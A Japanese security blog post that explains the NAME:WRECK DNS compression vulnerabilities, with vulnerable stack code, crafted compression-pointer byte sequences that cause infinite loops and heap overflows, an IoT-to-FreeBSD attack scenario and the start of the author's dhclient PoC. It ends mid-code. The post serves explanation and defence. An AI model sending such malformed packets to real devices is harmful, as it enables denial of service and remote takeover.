knqyf263's blog

自分のためのメモとして残しておくためのブログ。

DNSメッセージ圧縮の実装不備による脆弱性(NAME:WRECK)の原理とPoCの解説

今回はDNS脆弱性シリーズの中では簡単です。

要点

脆弱性の概要については以下です。

  • NAME:WRECKはDNSメッセージ圧縮の実装不備による9つの脆弱性を総称したもの
  • DNSだけでなくmDNSやDHCPでもドメイン名圧縮を行っており脆弱性が見つかっている
  • Nucleus NET, NetX, IPnet, FreeBSDの4つのTCP/IPスタックに脆弱性が見つかっている
  • IoT/OT機器でNucleus NET, NetXを利用している場合は攻撃が比較的容易でOSによる保護も弱くRCEに繋がる可能性が高いので影響大きめ
    • しかし無差別に攻撃するのは難しい
  • FreeBSDDHCP脆弱性でありローカルネットワークに攻撃者がいる必要があるので難易度高め

そして今回の脆弱性を公表したForescout Research Labsの取り組みが非常に良いと感じたのでそちらもまとめておきます。

脆弱性を公表して終わりとするだけでなく得られた知見をアンチパターンとして還元していこうという姿勢が見えて好感を持ちました。さらに気をつけましょう、で終わらず静的解析による自動検知や影響範囲をスクリプトで特定する試みも行っていてセキュリティ研究者の理想なんじゃないかなと思いました。

背景

先日NAME:WRECKという脆弱性が公開されました。

www.forescout.com

今回もDNS脆弱性になるのですが、実際にはDNSクライアント・サーバに限らず圧縮されたドメイン名の展開処理を行っている一部のTCP/IPスタックが影響を受けます。具体的に影響を受けるのはNucleus NET, FreeBSDなどです。

NAME:WRECKはForescout Research LabsとJSOF Researchの共同発表となっていますが、最近話題になった多くのTCP/IPスタックの脆弱性(特にDNS関連)は彼らによって発表されています。具体的には以下のような脆弱性があります。

Ripple20やAMNESIA:33は自分はちゃんと追っていなかったのですが、今回同様DNSメッセージの圧縮/展開に関する不備による脆弱性のようです。なので、Ripple20, AMNESIA:33, NAME:WRECKは兄弟的な位置付けなのかと思っていますが、その2つのペーパーはまだ読んでないので間違っていたらすみません。

DNSpooqは自分のブログでも解説しています。自分で攻撃コードを書いてJSOFから連絡もらったぐらいなので解説も詳しめです。

knqyf263.hatenablog.com

次から次へと発表するなと思っていたのですが、これらは実はProject AmeriaというプロジェクトでForescout Research LabsとJSOF Research Labsが共同で研究した成果だったようです。何というか楽しそうですね。まだプロジェクトは終わっていないようなので、今後もAmeriaから新たに脆弱性が出るかもしれません。今後の動向に注目する必要があります。

また、最近だと

あたりもDNS脆弱性で、世間を騒がせました。この1,2年でいくつ脆弱性出るんだというぐらい見つかっているのでまだ油断はできません。

SAD DNSについては自分のブログでも紹介しています。面白いので気になる人は目を通してみてください。

knqyf263.hatenablog.com

上の解説ブログは難しいと言われることも多かったのですが、今回は簡単です。DNSメッセージの圧縮方法さえ理解してしまえばほぼ終わりです。ということで解説していきます。

単に解説するだけでは面白くないので自分の意見なども挟んでいます。そしてFreeBSDの攻撃方法についてはペーパーでほとんど記載がなくて無駄に挑戦心が湧いたので実際に攻撃コードを書いてみました。その辺りの試行錯誤も解説しています。

以下のホワイトペーパーに基づいているので、興味がある人は見てみてください。

https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/

毎回断っていますが、自分はDNSを本業としてやっているわけではなくあくまでも趣味なので情報は不正確な場合があります。参考程度に見てもらえればと思います。

概要

まず、9つの脆弱性を総称してNAME:WRECKと呼んでいます。

f:id:knqyf263:20210416140336p:plain

f:id:knqyf263:20210416140352p:plain
ペーパー P.9 Table3より引用

Descriptionを見ると分かるのですが、脆弱性の内容は結構異なります。さらに影響するTCP/IPスタックもNucleus NETだったりFreeBSDだったりします。ですが基本的には圧縮されたDNSメッセージの展開処理の実装に不備があり脆弱性の原因となっているものがメインです。そういったものをまとめてNAME:WRECKと呼んでいます。TXIDの不備だったりも何故か入ってますが、あまりNAME:WRECK関係ないですしせっかくだし入れとこ、ぐらいのノリで入っている気がします。

ちなみにNAME:WRECKという名前はドメイン名のパースを"wreck"する(破壊する)というところから命名しているようです。

影響を受けるTCP/IPスタック

上の表を見ればわかりますが、影響を受けるTCP/IPスタックは4つです。

FreeBSDはYahooやNetflixのWebサイトで使われているし、Nucleus NETはIoT/OTファームウェアで広く使われているとのことです。

今回はDNSメッセージの圧縮の脆弱性に着目して7つのTCP/IPスタックを調査したところ、上記の4つが脆弱だったとのことです。これは後述しますがRFCの記述が曖昧なせいで脆弱な実装が生まれやすいのが原因とForescoutは分析しています。

影響を受けるデバイス

Nucleus RTOSFreeBSDを実行している全てのデバイスが脆弱なわけではないです。しかし、それらのスタックを利用しているデバイスが100億台あるとすれば1%が脆弱と見積もっても1億台が影響を受けることになります。

1%の根拠は特にペーパーには記述がなかったので大体の数値かなと思います。

被害

領域外のメモリアクセスになるので、

  • Denial os Service (DoS)
  • Remote Code Execution (RCE)

がこれらの脆弱性による被害になります。雑にやってもDoSは簡単に引き起こせて、頑張ればRCEという感じです。特に組み込みソフトウェアの場合はOSのメモリ保護機能が弱くRCEに繋がりやすいです。

脆弱性詳細

Message Compression概要

上でも述べましたが、今回の脆弱性DNSの"message compression"に関係したものとなっています。DNSレスポンスのパケットには同じドメイン名またはその一部が複数回含まれやすいため(例えばgoogle.comとwww.google.comなど)、RFC 1035 ("Domain Names - Implementation and Specification") の4.1.4でDNSメッセージのサイズを削減するための圧縮/展開方法が定義されています。

さらにこの圧縮はDNSの名前解決だけではなく以下のプロトコルでも同様の方法が採用されています。

  • mDNS
  • DHCP
    • RFC 3397: Dynamic Host Configuration Protocol (DHCP) Domain Search Option
  • IPv6 router advertisements
    • RFC 8106: IPv6 Advertisement Options for DNS Configuration

さらにRFC等で明確に定義されていなくてもコードの再利用により実態としてサポートしているプロトコルも複数存在するそうです。

このDNSメッセージ圧縮は特別圧縮効率が良いわけでもなく、実装も簡単というわけではありません。実際、過去20年に渡って多くの製品でこの圧縮に関する脆弱性が発見されています。

f:id:knqyf263:20210416151040p:plain
ペーパー P.6 Table 1より引用

ということでやはりDNSメッセージ圧縮及び展開の実装は難しいことが分かります。Ripple20, AMNESIA:33, NAME:WRECKのいずれかに対して脆弱なTCP/IPスタックがペーパー内で表にまとめられていたのでこちらも引用しておきます。

f:id:knqyf263:20210416151509p:plain
ペーパー P.7 Table 2より引用

Message Compression詳細

圧縮方法はRFC 1035で定義されています。まずドメイン名はラベルの集合として表現され、NULL (0x00)で終端されます。各ラベルは先頭1バイトに長さが入っています。最大長は63バイトになります。例えば、 google.com であれば"google"が6バイトなので 0x06 から始まります。そのあとは普通に 0x67 0x6f 0x6f 0x67 0x6c 0x65 = google が入ります。これで一つ目のラベルは終わりで、次に com のラベルを表現するために長さの 0x03 が入ります。あとは同様に 0x63 0x6f 0x6d = com になります。そして最後はNULLになります。

+---+---+---+---+---+---+---+---+---+---+---+---+
|x06|x67|x6f|x6f|x67|x6c|x65|x03|x63|x6f|x6d|x00|
+---+---+---+---+---+---+---+---+---+---+---+---+

見やすく書くと以下です。

+---+---+---+---+---+---+---+---+---+---+---+---+
| 6 |'g'|'o'|'o'|'g'|'l'|'e'| 3 |'c'|'o'|'m'|x00|
+---+---+---+---+---+---+---+---+---+---+---+---+

DNSレスポンスというのは同じドメイン名またはその一部を繰り返し含むことが多いです。そのためRFC 1035ではDNSメッセージサイズの削減のために圧縮・展開方法を定義しています。その方法はラベルの一部をそれ以前に含まれているドメイン名へのポインタに置き換えることです。

このポインタは2バイトで表現され、最初の2ビットは 11 でなくてはなりません。残りの14ビットはDNSヘッダの先頭からのオフセットを意味します。

例えば google.comwww.google.com を含む例を考えてみます。その場合、 www.google.com0x03 0x77 0x77 0x77 0xc0 0x10 となります。

+---+---+---+---+---+---+
| 3 |'w'|'w'|'w'|xC0|x10|
+---+---+---+---+---+---+

0x03www が3バイトなので長さを表現しており、 0x77 0x77 0x77www です。そしてポインタであることを表現するために先頭2ビットを 11 にします。オフセットは今回 0x10 となるため、合わせて 0b1100000000010000 = 0xc0 0x10 となります。DNSサーバやクライアントは 0b11 のビットを見つけたらオフセットを計算し(今回は 0x10)、そのオフセットにしたがってデータを参照します。その結果、 google.com を取得したので www と合わせて最終的なドメイン名は www.google.com となります。

圧縮と言うよりは単にポインタですね。かなりシンプルな仕様にはなっているのですが、シンプルすぎて細かいところが定義されていないので実装ミスが起きやすいようです。

CVE-2020-27009(Nucleus NET)

では実際にNucleus NETを例にどのような問題が起きるのかを見ていきます。以下はNucleus NET内の DNS_Unpack_Domain_Name() という関数です。

f:id:knqyf263:20210416183837p:plain
ペーパー P.12 Figure 1より引用

コードとしてはかなり短いですが、脆弱性が複数存在します。

  • CVE-2020-27736
  • CVE-2020-27738
  • CVE-2020-15795
  • CVE-2020-27009

この関数はドメイン名をDNSレスポンスから取り出す際に必ず呼ばれます。最初の引数 dst はパース後のドメイン名を保存するためのバッファで、二番目の引数 srcドメイン名の先頭バイトを指すポインタです。三番目の buf_beginDNSヘッダの先頭バイトを指すポインタです。

ドメイン名は8行目から始まるwhileのループ内でパースされます。 src をずらしていって現在パースしているバイトを指すようにしています。このwhileループはNULLがきたら抜けるようになっていますが、NULLはドメイン名の終わりを意味するのでドメイン名の最後までパースすることになります。whileループに入る前に元々の src ポインタを savesrc として保存しておいて、後で展開後のドメイン名の長さ計算に使います。

ループ内では、ドメイン名の最初のバイトをまず取得します。これは説明した通りそのラベルの長さとなっているため、9行目で size に保存します。次に、11行目で上位2ビットが 0b11 となっているかどうかを確認しています。もし圧縮ポインタ(compression pointer)ではなくて普通のラベル長であれば21行目で src を1バイト進めて size の次に移動します。そして size の長さ分だけfor文を回し src から dst にコピーします。RFC 1035で述べられているようにラベルの最大長は63バイトであるため、23行目で63バイトまで切り詰めています。そして33行目で返される retvalsrc - savesrc で計算され、ドメイン名全体の長さとなります

次に上位2ビットが 0b11 だった場合の処理を見ていきます。もしそのドメイン名内における最初のポインタだった場合は12-13行目で retval に2バイトを足します。そしてオフセットが計算され、 srcDNSペイロードの先頭バイト( buf_begin )からオフセットずらした位置に移動します(16-17行目)。 src は今ポインタの先を指しているため、1バイト目がサイズになっています。そこで、 size*src を代入しています(18行目)。その後は上で説明したように21-27行目でラベルを読み込んでいきます。読み込み終わればドメイン名全体を読み込んだこととなるので処理は終了です。

ではどこが問題なのでしょうか?ある程度セキュリティを意識している人なら分かるかと思いますが、問題はオフセットに対するバリデーションがないことです。オフセット分ずらした先頭バイトにあるのはラベル長であると仮定して処理していますが(18行目)、これがさらに別の圧縮ポインタだったらどうなるでしょうか?つまり上位2ビットが 0b11 の場合です。11行目のwhileループの条件式 (size & 0xC0) == 0xC0 はtrueになり再度whileの中が処理されます。RFC 1035では圧縮ポインタは以前に含まれたドメイン名を指さなければならないと定義されており、この実装は定義に違反しています。RFCに違反しているだけなら単に良くない実装というだけになりますが、実際にこの圧縮ポインタは攻撃者が自由に指定できるため悪用可能になっています。これはCVE-2020-27009として報告されています。

では具体的な悪用方法を見ていきます。

無限ループ

src のジャンプする先を再度自分の圧縮ポインタにするとこのwhileループを永遠に抜けないため、DoSとなります。

以下の例だと 0xc0 0x0c のところが圧縮ポインタとなっていますが、 0x0c0x1e にしてあげるとオフセットが30になります。DNSヘッダが12バイトでQuestionセクションが18バイトなのでAnswerセクションが30バイトずらしたところから始まっています。つまり圧縮ポインタが 0xc0 0x1e になっていると、再度 0xc0 0x1e に飛ぶので無限ループとなります。

f:id:knqyf263:20210416184356p:plain
ペーパー P.23 Figure 9より引用

領域外読み込み

オフセットを大きい値にするとDNSパケットのサイズを超え、確保された領域外のメモリにアクセスします。例えば 0xffff にしてあげれば上位2ビットは 0b11 で14ビットで表現されるオフセットは16383になります。16383は多くの場合、DNSメッセージのサイズを上回ります。23-24行目のfor文で size 分読み取っているため、パケットの外にアクセスしてしまいます。これはDoSに繋がりますし、情報漏えいなどに繋がる可能性もあります。

領域外書き込み

dst がどのように確保されるかによっては、圧縮オフセットをうまく選べば領域外のメモリ書き込みも可能になります。これはRemote Code Execution (RCE)に繋がる可能性があります。これはこのあとで詳しく見ていきます。

CVE-2020-15795(Nucleus NET)

先程の DNS_Unpack_Domain_Name() を見てみると各ラベルが63バイトを超えないように確認はしていますが、全体が255バイト以下でなければならないRFC 1035の定義には違反しています。これはCVE-2020-15795として報告されています。以下で詳細を説明します。

以下に DNS_Extract_Data() の実装を載せています。DNSレスポンスを処理するための関数で、最終的には23行目と36行目で先程実装を確認した DNS_Unpack_Domain_Name() が呼ばれます。16-18行目でドメイン名を格納するための name バッファが NU_Allocate_Memory() を使ってヒープに確保されています。この際、サイズは DNS_MAX_NAME_SIZE に制限されています。この値はRFC 1035に従って255バイトとなっています。

f:id:knqyf263:20210416184716p:plain
ペーパー P.14 Figure 2より引用

ここで DNS_Unpack_Domain_Name() の実装に話を戻すと、whileループはNULLが来るまで終わらないようになっています。そして各ラベルは23行目で63バイトに制限されていますが( size & 0x3f)、実際に name にコピーされるトータルのサイズについてはチェックがありません。つまり攻撃者が意図的に大きい値を入れてしまえば全て nameDNS_Unpack_Domain_Name() では dst )にコピーされます。しかし name は255バイトしか確保されていないため、領域外に対して書き込まれてしまいます。結果としてヒープを破壊し、RCEに繋がる可能性があります。これは典型的なヒープオーバーフローであり実際のペイロードの組み立て方に関する詳細はAMNESIA:33のホワイトペーパーで説明されています。

name のヒープオーバーフローを起こさせる簡単な方法は、各ラベルを63バイトにしてトータルのサイズが255バイトを超えるようにして name に書き込ませる方法です。自分としてはこの脆弱性だけで十分悪用できるのに何で前述のCVE-2020-27009と組み合わせる必要があるのかと疑問だったのですが、それについても説明されていました。まず各ラベルが63バイトで255バイトを超えるようなバイト列はDNSパケットにとっては大きすぎます。さらにIDS等に検知される可能性があります。そこで、小さいペイロードでオーバーフローをこすためにCVE-2020-27009が利用できます。

例えば4バイトのドメイン名を考えます。最初のラベルは長さ1で、そのあとの圧縮ポインタで自分の最初のラベルを指すようにします。例えば 0x01 0x41 0xc0 0xe1 のようになります。

+---+---+---+---+
| 1 |'A'|xC0|xE1|
+---+---+---+---+

この 0xe1 はラベルの先頭を指すオフセットとなっています。このようなドメイン名を受け取ると DNS_Unpack_Domain_Name()A.name に書き込み続け最終的にメモリを破壊します。メモリ保護機能がある場合は DNS_Unpack_Domain_Name() の24行目で dst が領域外のメモリ参照を行いクラッシュします。

この例では単にクラッシュさせるだけになっていますが、このようにDNSメッセージの展開の脆弱性を使ってRCEにつなげるためのペイロード詳細はRipple20のペーパーで説明されています。

https://www.jsof-tech.com/wp-content/uploads/2020/08/Ripple20_CVE-2020-11901-August20.pdf

CVE-2021-25667(Nucleus NET)

上の例では細工したDNSレスポンスをクライアントに渡す必要があるためDNSレスポンスを偽装する必要があります。これはSAD DNSやDNSpooqでも説明したので省略しますが、Nucleus NETではTXIDやUDPのソースポート番号のランダム性が不十分な上にクエリ/レスポンスのマッチングにTXIDを使っていなかったようです。結果として攻撃者は容易にそれらを推測できてDNSレスポンス偽装が可能です。これだけでキャッシュポイズニングが出来てしまうので、今回のNAME:WRECKではさらっと流してますが普通にやばいじゃんという感じです。

Nucleus NETまとめ

上の3つの脆弱性を組み合わせることで、細工したDNSレスポンスをクライアントに送りつけつつ小さいペイロードでRCEに繋げることが可能になります。しかし最後のDNSレスポンスのバリデーションをバイパスする部分は一発で成功するものではないですし、そもそもクライアントが名前解決するタイミングで攻撃する必要がありますがそのタイミングを推測するのも簡単ではありません。IoT機器から毎日0時にデータを送信する、などがあれば多少推測はしやすいかもしれません。名前解決を能動的にトリガーできる方法があればその不確実性を減らせますが、その方法については述べられていませんでした。そのため、これら3つをうまく組み合わせても一気に世界中のIoT機器が乗っ取られるということにはならないと考えています。バラマキで攻撃を成立させるのは難しいとはいえ標的にされたら十分実現可能性があると思うので、何かしらの対策はしたほうが良いのではないかと思います。

攻撃シナリオ

NAME:WRECKを現実世界で悪用する攻撃シナリオについて解説します。まず侵入口としてIoT機器を狙います。そしてこのIoT機器が内部のネットワークに接続されていると仮定し、IoT機器を踏み台にして侵害を広げます。

f:id:knqyf263:20210416185231p:plain
ペーパー P.16 Figure 3より引用

これは実際にNASAラズベリーパイ経由でデータが盗まれたインシデントなどに基づいており、現実的なシナリオとなっています。

gigazine.net

他にもカジノでスマート水槽経由で盗まれた事件などもあります。

www.cnn.co.jp

ここでIoT機器というのはインターネットに繋がっていますが、自分の理解ではインターネット側からアクセス可能である必要はないと思います。

1. DNS経由の攻撃

まずIoT機器がDNSリクエストをインターネット上のサーバに対して発行したタイミングで先述したNucleus NETに存在するDNS脆弱性を使ってRCEを行います。どうやって細工したDNSパケットを送りつけるかと言うと、まず一番手っ取り早いのは中間者攻撃です。DNSサーバとIoT機器の間に入ってDNSレスポンスを改ざんします。または、権威DNSサーバとIoT機器の間に存在するDNSサーバやフォワーダに対してDNSpooqや類似の脆弱性を使って細工したDNSメッセージを渡すことも出来ます。

2. DHCP経由の攻撃

そしてIoT機器に侵入したら攻撃用のDHCPサーバを立てます。後述しますがFreeBSDDHCP実装はNAME:WRECKの影響を受けます。dhclientがDHCP RequestをブロードキャストしたタイミングでIoT機器から細工したDHCP Ackを返します(簡単のためDHCP Discoverとかは省略)。そうするとDHCP Ackを受け取ったFreeBSDサーバは制御を乗っ取られます。このFreeBSDサーバは例えば機密情報を含んでおりインターネットには接続されていなかったとしても、IoT機器経由で乗っ取られてしまうということです。

3. データ窃取

あとは乗っ取りに成功したFreeBSDからIoT機器経由でデータを盗むなり何なりし放題です。

別シナリオ:mDNS経由の攻撃

上のシナリオではIoT機器にDHCPサーバを立ててブロードキャストに対して細工したレスポンスを返していましたが、mDNSでも似たことが出来るようです。mDNSに関してはNAME:WRECKでは触れられていませんが、AMNESIA:33でFNETに影響するCVE-2020-17469やpicoTCPに影響するCVE-2020-24340について説明があるようです。

攻撃難易度

pwnとかに詳しい人は分かると思いますが、最近のOSは実際にはESPやDEPなどのメモリの保護機能やASLRなどのアドレス空間配置のランダム化、スタックカナリアなどのメモリ破壊に対する防御機構が導入されており領域外のメモリアクセスが出来てもRCEに繋げるのはそこまで簡単ではありません。FreeBSDに関して言えば、それらの機構に加えてCapsicumという仕組みが入っているようです。

www.cl.cam.ac.uk

そしてdhclientは既にサンドボックスで実行するようになっているようで、Capsicumが有効になっている場合は攻撃は難しそうです。

wiki.freebsd.org

一方でNucleus NETやNetXなどIoT/OTで使われる組み込みソフトウェアはこういった防御機構が入っていないようです。つまり少しかじったことがある程度でRCEに繋げられてしまうため、攻撃者からすると簡単に乗っ取りが可能です。上のDNSの実装もかなり脆弱だったことを考えると(TXIDが実質無意味なものになっていたり)、IoTセキュリティの重要性が増していることが自分にもようやく理解できました。

脆弱なTCP/IPスタックを使っているIoT機器が大量にデプロイされていて、かつローカルネットワークに繋がっているとなれば攻撃者からすればそりゃIoT機器経由で攻撃するよな...という感想です。

影響

製品がどのTCP/IPスタックを利用しているか公表していないケースもありますし、影響を受けるベンダーや製品を完全に特定するのは難しいです。

ですが、NAME:WRECKのペーパーではFreeBSD, Nucleus NET, NetXの3つのスタックについて可能な限り影響範囲を調査しています。特にNucleus NETとNetXは組み込み機器で長年に渡って利用されてきたため、利用も多いと考えられます。

まずNucleus RTOSのWebサイトによると30億以上の機器にデプロイされているそうです。その中には除細動器や超音波装置などの医療機器も含まれるとのことです。

www.plm.automation.siemens.com

この脆弱な実装でそんなに大量にデプロイされているとかなり不安になりますね。。しかも後述しますがこういったIoT/OT機器は一度デプロイするとその後のパッチ更新もかなり大変です。

FreeBSDもNAME:WRECKに対して脆弱ですが、こちらはNetflixやYahooなどで使われています。以下の"Who Uses FreeBSD?"に一覧があります。

docs.freebsd.org

ただFreeBSDに関してはDHCP脆弱性であり外部からの攻撃は難しいので、そこまで悲観的にならなくて良いと考えています。

そして最後にNetXですが、こちらはThreadX RTOSによって使われています。こちらも広く利用されており2017年時点で62億のデバイスがあったとのことです。

f:id:knqyf263:20210416185804p:plain
ペーパー P.18 Table 4より引用

ですが実際には上記全てのデバイスが脆弱なわけではありません。というのも、例えばThreadXを使っていても内部ではTreck TCP/IPスタックなど別の実装を使っているケースもあるからです。

さらに、DNSDHCPクライアントが有効になっていないケースもありますし、全てのバージョンが脆弱なわけでもありません。

これらを考慮して全体の1%程度が脆弱と仮定すると1億台程度の機器が脆弱と見積もれます。前述した通り1%の数値に根拠は見つかりませんでしたが、全体で100億台あるなら影響受ける機器はやはり大量にあるだろうなという感想です。

実際にデプロイされている数を調べるために、以下を使って実際の数を計測したそうです。

  • Shodan
    • SSHやHTTP, NTPなどのバナーに"FreeBSD"という文字列が含まれる数
  • Forescout Device Cloud
    • Forescoutの機器によって収集されたデータが集約されているリポジトリがあるらしく、そのデータを使って計測したとのことです

細かい結果はペーパーを参照してもらえればと思いますが、FreeBSDの台数で日本が2位だったのがちょっと面白かったのでその結果だけ引用しておきます。Shodanで調べた結果、FreeBSDが動いていそうな機器は105万台あって、そのうちの10万台は日本だったようです。

f:id:knqyf263:20210416185941p:plain
ペーパー P.19 Figure 4より引用

アンチパターン

Project Ameriaは今回の一連の研究を通してDNSソフトウェアにおいて起きやすい代表的な実装ミスに気付きました。そしてこの実装ミスはRFCの定義が曖昧なせいで起きていると感じたそうです。今後このような実装ミスが起きるのを防ぐため、IETFにドラフトを出しています。

github.com

脆弱性を探すタイプのセキュリティ研究者は見つけて終わりとなることが多い中で、きちんと起きやすいミスを体系的にまとめて今後の実装をセキュアにしていこうという試みはとても良いと思いました。

このアンチパターンDNSのみではなく一般的に有用なものだと思うので、元気があればいずれ別途まとめたいと思います。

緩和策

まず大前提として、FreeBSD, Nucleus NET, NetXには既にパッチが提供されているので可能なら迅速にパッチを適用しましょう。特にNucleus NET, NetXあたりは攻撃も現実的だと思うので放置はしないことを勧めたいです。

FreeBSDを通常のサーバやネットワーク機器で運用している場合は単にFreeBSDのバージョンを調べて影響を受ける機器を特定しパッチを当てれば完了です。

しかし一方でIoT機器はパッチ適用が簡単ではないことがあります。まずそもそも利用者は各機器でどのTCP/IPスタックが利用されているかを知らないことが多いです。場合によってはベンダーでさえ既存のOSを使っただけで把握していない場合があります。そのため脆弱性の影響を受ける機器を特定するのが難しいです。次に、仮にパッチが提供されたとしても機器が集中管理されていないため一括で更新することが出来ず手動で一つ一つ適用しなければならない場合もあります。ミッションクリティカルな医療機器や産業制御システムではオフラインに出来ない場合もあり、再起動を伴うパッチ適用が非常に困難な場合もあります。

少し脱線しますが、新しいファームウェアが実は内部でサポート切れの古いRTOSを利用しているケースもあります。新しいファームウェアであれば脆弱ではないと考えられてしまうため、実態と乖離し問題となります。

これらの状況を鑑みていくつかの緩和策が提案されています。そこそこ省略しているので、影響する組織はきちんとペーパーを確認することを推奨します。

脆弱なスタックを利用している機器の特定

Forescout Research Labsがフィンガープリントを使ってTCP/IPスタックを特定するためのツールをOSSで公開しました。

github.com

説明によると異常なICMPエコーリクエストを送って返ってくるリプライの特徴を見たり、HTTP, SSH, FTPのバナーやエラーメッセージを見るようです。OSを特定するツールは知っていましたが、TCP/IPスタックを特定するというのは面白いなと思いました。実質やっていることはほとんど同じな気はしますが。

こちらも上と同様に見つけて終わりではなく実際に影響を受ける人達がどう行動すれば良いか、というところまで踏み込んでいて非常に良いと思います。

適切なネットワークの分離

パッチを当てられない機器はネットワーク的に分離したり外部との通信を制限するなどして、クリティカルなネットワークへの侵入を防ぎましょう。

ベンダーの動向を追う

影響を受けるベンダーからのパッチ・対応策などを注視し、ビジネスへの影響とのバランスを考えつつどのように対策するかを考えましょう。

内部DNSサーバを使う

攻撃シナリオで説明した通り中間にあるDNSサーバに細工して悪意あるレスポンスを返す必要があるため、内部DNSサーバを使いセキュアに運用することで攻撃を緩和できます。また、外部へのDNS通信は注意深く監視を行う必要があります。

トラフィックの監視

既知の脆弱性だけではなくゼロデイ攻撃などが来る場合もあるため、異常なトラフィックはブロックするか少なくともアラートを上げるようにします。これはNAME:WRECKに対してのみではなく有用ですね。

今回の攻撃では特徴あるパケットになるため、IDSなどにルールを入れることを推奨しています。その特徴は以下です。ただ実際にはワンライナーで検知できるようなものではない気がするので、ルール導入は結構大変かなと思います。とはいえ脆弱なIoT機器を多数抱えていてパッチを当てられる状況でない場合はやはり頑張ってルールを入れておくとべきなのかなというのが自分の考えです。

無効な圧縮ポインタ

圧縮ポインタは既に述べたように以前に含まれているドメイン名を指す必要があります。つまりオフセットが自分の圧縮ポインタがある位置より後ろを指している場合は検知すると良いです。

また、ポインタの先がポインタの場合も検知すると良いです。

無効な長さのドメイン

ドメイン名のラベルは63バイトが最大長なので、それを超える場合は無効として検知するべきです。また全体の長さは255バイトを超えてはならないため、その場合も検知します。ドメイン名の最後はNULLで終端する必要があります。

さらに、DNSレコードの長さを指すRDLENGTHは実際のRDATAの長さと対応していなければなりません。

無効なQCOUNT/ANCOUNT/NSCOUNT/ARCOUNT

Question/Answer/Authority/Additionalセクションの数を指すQCOUNT, ANCOUNT, NSCOUNT, ARCOUNTは実際にデータに含まれるセクションの数と一致している必要があります。

攻撃コード解説

今回のNAME:WRECKでは複数のTCP/IPスタックに影響するとのことでしたが、ペーパー内ではFreeBSDに関する記述が実はほとんどありません。しかもFreeBSDDNSではなくDHCPに影響する脆弱性となっています。DNSじゃないの??という疑問が湧きましたし詳細も書かれていないのでこれは勉強も兼ねて自分でPoCを書いてみなくてはならないという謎の使命感に燃えたので書いてみました。

Nucleus NETなどは脆弱な箇所まで丁寧に説明してくれているので簡単にPoCが作れてしまいそうだという点であまりやる気が出ませんでした。また、IoT機器は数も多く実際に悪用された場合に影響が大きそうなので今回は深刻度の低そうなFreeBSDを選びました。

概要

まずペーパー内の説明を見てみます。CVE-IDはCVE-2020-7461となっています。

The vulnerability exists due to a boundary error when parsing option 119 data in DHCP packets in dhclient(8). A remote attacker on the local network can send specially crafted data to the DHCP client, trigger heap-based buffer overflow and execute arbitrary code on the target system.

どうやらDHCPのオプション119をパースする際の脆弱性のようです。DHCPクライアントに対して細工したレスポンスを返すことでヒープオーバーフローが出来るようです。かつてのDynoRootを思い出します。その時もPoCを作っていました。

github.com

まずDHCPのオプションを見てみます。RFC 3397で定義されているようです。

tools.ietf.org

"Dynamic Host Configuration Protocol (DHCP) Domain Search Option"ということでdomain searchをDHCPサーバから配るためのオプションでした。番号まで覚えていませんでしたが、自分も過去普通に使っていたオプションなので有名です。domain searchは名前解決の時に使われるもので、説明は省きますがざっくり言うとサフィックスです。気になる人は調べてみてください。

Domain Search Option

DHCPサーバとしてDHCPのオプション119内に不正なデータを入れると攻撃可能であろうということがわかりました。RFC 3397を読むとこのオプションでもDNSと同じ圧縮ポインタが使えることが分かります。基本的にDNSと同じですが、オフセットがこのオプションデータの先頭からのオフセットになっています。載っている例が分かりやすいので引用します。

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 | 3 |'e'|'n'|'g'| 5 |'a'|'p'|'p'|'l'|
+---+---+---+---+---+---+---+---+---+---+---+

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 |'e'| 3 |'c'|'o'|'m'| 0 | 9 |'m'|'a'|
+---+---+---+---+---+---+---+---+---+---+---+

+---+---+---+---+---+---+---+---+---+---+---+
|119| 9 |'r'|'k'|'e'|'t'|'i'|'n'|'g'|xC0|x04|
+---+---+---+---+---+---+---+---+---+---+---+

この例では eng.apple.com.marketing.apple.comを含んでいます。この時、 apple.com. は重複しているため圧縮ポインタの 0xC0 0x04 になっています。オフセットは 0x04 なので4バイトです。先頭は eng のラベルのサイズを指す3の位置なので、そこから4バイトずらすと apple のラベル長である5になります。そこから apple.com. を読み込んで marketing と合わせて marketing.apple.com になります。

データ部だけを抜き出したものも載せておきます。横に長くて逆に見にくいという説もありますが、オフセットの 0x04apple を指していることは少し分かりやすいかと思います。

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 3 |'e'|'n'|'g'| 5 |'a'|'p'|'p'|'l'|'e'| 3 |'c'|'o'|'m'| 0 | 9 |'m'|'a'|'r'|'k'|'e'|'t'|'i'|'n'|'g'|xC0|x04|
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

DNSと同じなので既に見たNucleus NETと同じ実装ミスが起きそうです。

ちなみに自分はRFC読んだだけだといまいちPoCを書く自信がなかったので、実際にdnsmasqを動かしてパケットを観察したりしました。 --dhcp-option=119,google.com とするだけで動くのでdnsmasqはやはり便利です。

$ dnsmasq --user=root --interface=eth1 --bind-interfaces --except-interface=lo --dhcp-range=192.168.33.100,192.168.33.200,1h --conf-file=/dev/null --dhcp-option=6,10.10.0.1 --dhcp-option=119,www.google.com,google.com --log-queries --log-facility=/var/log/dnsmasq-server.log

修正コミット

どのような実装ミスだったのかをするためには修正箇所を確認するのが手っ取り早いです。以下がdhclientの修正コミットのようです。ちなみにdhclientは名前から察する通りDHCPクライアントです。

github.com

ちょっと想像していたのと違いますね。もっと領域外にアクセスしていないか、とかそういうチェックが足されたのかと思ったら pointed_len が0未満の時に-1を返すだけになっています。

if (pointed_len < 0)
    return (-1);

詳細

このコミットの足されたファイル options.c を見てみます。

github.com

find_search_domain_name_len() という関数内の修正のようです。

少し長いですが実装を載せます。

int
find_search_domain_name_len(struct option_data *option, size_t *offset)
{
    int domain_name_len, label_len, pointed_len;
    size_t i, pointer;

    domain_name_len = 0;

    i = *offset;
    while (i < option->len) {
        label_len = option->data[i];
        if (label_len == 0) {
            /*
            * A zero-length label marks the end of this
            * domain name.
            */
            *offset = i + 1;
            return (domain_name_len);
        } else if (label_len & 0xC0) {
            /* This is a pointer to another list of labels. */
            if (i + 1 >= option->len) {
                /* The pointer is truncated. */
                warning("Truncated pointer in DHCP Domain "
                    "Search option.");
                return (-1);
            }

            pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];
            if (pointer >= *offset) {
                /*
                * The pointer must indicate a prior
                * occurrence.
                */
